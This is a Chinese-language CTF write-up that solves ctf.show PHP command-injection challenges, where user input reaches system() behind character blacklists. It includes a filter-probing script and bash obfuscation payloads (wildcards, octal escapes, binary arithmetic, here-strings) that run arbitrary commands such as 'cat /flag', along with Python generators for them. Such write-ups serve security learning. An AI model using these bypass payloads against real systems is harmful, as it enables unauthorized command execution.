1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; if (!preg_match ("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/" ,$ctfshow )){ system ($ctfshow ); }else { echo ("????????" ); } } ?>
可以用通配符执行命令
1 2 3 payload1:ctf_show=/?????a? payload2:ctf_show=/???/?a??64 /??a? payload3: ctf_show=/???/???/?a??64 /??a?
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );highlight_file (__FILE__ );include "check.php" ;if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; check ($ctfshow ); system ($ctfshow ); }
检测过滤脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport stringalpha = string.printable t = '' for i in alpha: data = {"ctf_show" :i} res = requests.post("http://1b8d2008-3f7a-4db6-82fb-aef9af5e8893.challenge.ctf.show/" , data=data) if not res.text.endswith('?' ): t+=i+' ' print (t)
过滤了问号 这里使用8进制 数字编码
1 2 3 4 $ echo $'\154\163' ls $ printf '\154\163' $ $'\154\163'
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );include "check.php" ;if (isset ($_POST ['ctf_show' ])) { $ctfshow = $_POST ['ctf_show' ]; check ($ctfshow ); system ($ctfshow ); }
检测过滤脚本得到可用字符0 1 ! # $ & ' ( ) < \ _ { } ~
数字只有0和1可用 想着能不能通过二进制来构造 bash中$(())
可以进行数学运算 $((2#101...))
将二进制串解释为十进制
1 2 3 4 $ echo $((1 *3 )) 3 $ echo $((2#101 )) 5
那么我们可以通过二进制构造不同数字,再通过数字编码来执行命令
但是2也是不可用的,怎么办呢?同样可以通过数学运算得来:$((1<<1))
则$((2#101...)) -> $(($((1<<1))#101...))
接着就可以构造数字编码了,以ls
为例对应八进制数字编码为 ‘\154\163’
1 2 3 4 5 6 7 8 $ echo $(($((1 <<1 )) 5 $ echo \'\\$(($((1<<1))#10011010))\' '\154' $ echo \'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' '\154\163' $ $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' $'\154\163' : command not found
发现虽然成功解析出,但没有进一步解释执行 这里需要用到两个知识
1 2 1. <<<三个小于号(here-strings),语法:command [args] <<<["]$word [" ];$word 会展开并作为command 的stdin 2. $0 即为bash
那么将输出作为bash的stdin即可解释执行,发送payload后也可以看到成功执行
1 2 3 $ $0 <<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\' check.php index.php
二进制命令脚本 1 2 3 4 5 6 7 8 9 cmd='ls' res = "$0<<<$\\'" for i in cmd: t = int (oct (ord (i))[2 :], 10 ) t = bin (t) res +="\\\\$(($((1<<1))#" + t[2 :] + "))" res += "\\'" print (res)
若是执行cat /flag
则会报错
1 2 $ $0 <<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\' bash: line 1: cat /flag: No such file or directory
这是因为bash执行不了带参数的命令 会将cat /flag
整个字符串当成命令执行,所以找不到该文件
那么可以使用两次here-strings来解决
1 2 3 $ $0 <<<$0 \<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\' {{{{{flag here I am !!!!}}}}}
可用字符0 ! # $ & ' ( ) < \ _ { } ~
字符1
也被过滤了,那就想有没有办法构造字符1
补充知识: $ = 1
因此可以用$
来代替1
1 2 3 4 5 6 7 8 9 10 11 12 cmd='cat /flag' res = "$0<<<$0\\<\\<\\<\\$\\'" for i in cmd: t = int (oct (ord (i))[2 :], 10 ) t = bin (t) res +="\\\\$(($((1<<1))#" + t[2 :] + "))" res += "\\'" res = res.replace('1' , "${##}" ) print (res)
成功执行得到flag
可用字符! $ & ' ( ) < = \ _ { } ~
字符0, #
也不能用了 这里继续使用数学运算得到各数字 $(())
会计算括号中的表达式得到结果
1 2 3 4 5 6 7 8 9 10 $ echo $(()) 0 $ echo $((~$(()))) -1 $ echo $((~$(())))$((~$(()))) -1-1 $ echo $(($((~$(())))$((~$(()))))) -2 $ echo $((~$(($((~$(())))$((~$(()))))))) 1
由此 我们可以不用数字来构造命令 但是仍需要here-string来解释执行命令 但是0不可用,想着是否有别的替代方式
1 2 3 4 $ echo ${!#} bash $ echo ${!?} bash
可见这两种都可以充当bash,但是#, ?
被过滤
!
功能一览:
1 2 3 4 5 6 7 8 9 10 11 !! !$ !:- !* !str !?str? !n !-n ^old^new !!:gs/old/new !scp:gs/old/new
那么有
1 2 3 4 5 6 7 8 9 10 11 12 $ __=$(())&&echo $__ 0 $ !__ __=$(())&&echo $__ 0 $ __=$(()) $ echo ${!__} bash $ __=$(())&&${!__} <<<whoami root
即可以用__=$(())&&${!__}
来代替$0
构造脚本 1 2 3 4 5 6 7 8 9 10 cmd='cat /flag' res = "__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\'" for i in cmd: t = int (oct (ord (i))[2 :], 10 ) res +="\\\\$((~$((" + "$((~$(())))" * (t + 1 ) + "))))" res += "\\'" print (res)
1 ctf_show=__=$(())%26 %26 ${!__}<<<${!__}\<\<\<\$\'\\$((.........))\' # 注意&&要url编码
构造脚本2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 url="http://15a309e4-9e6d-4a18-8767-7be0a1efdfa9.challenge.ctf.show/" cmd='ls' r = {} x='$((~$(())))' for i in range (1 ,9 ): r[i]='$((~$((' +x for j in range (i): r[i]+=x r[i]+='))))' r[0 ]='$(())' payload='__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\'' for c in cmd: payload+='\\\\' for i in oct (ord (c))[2 :]: payload+=r[int (i)] payload+='\\\'' print (payload)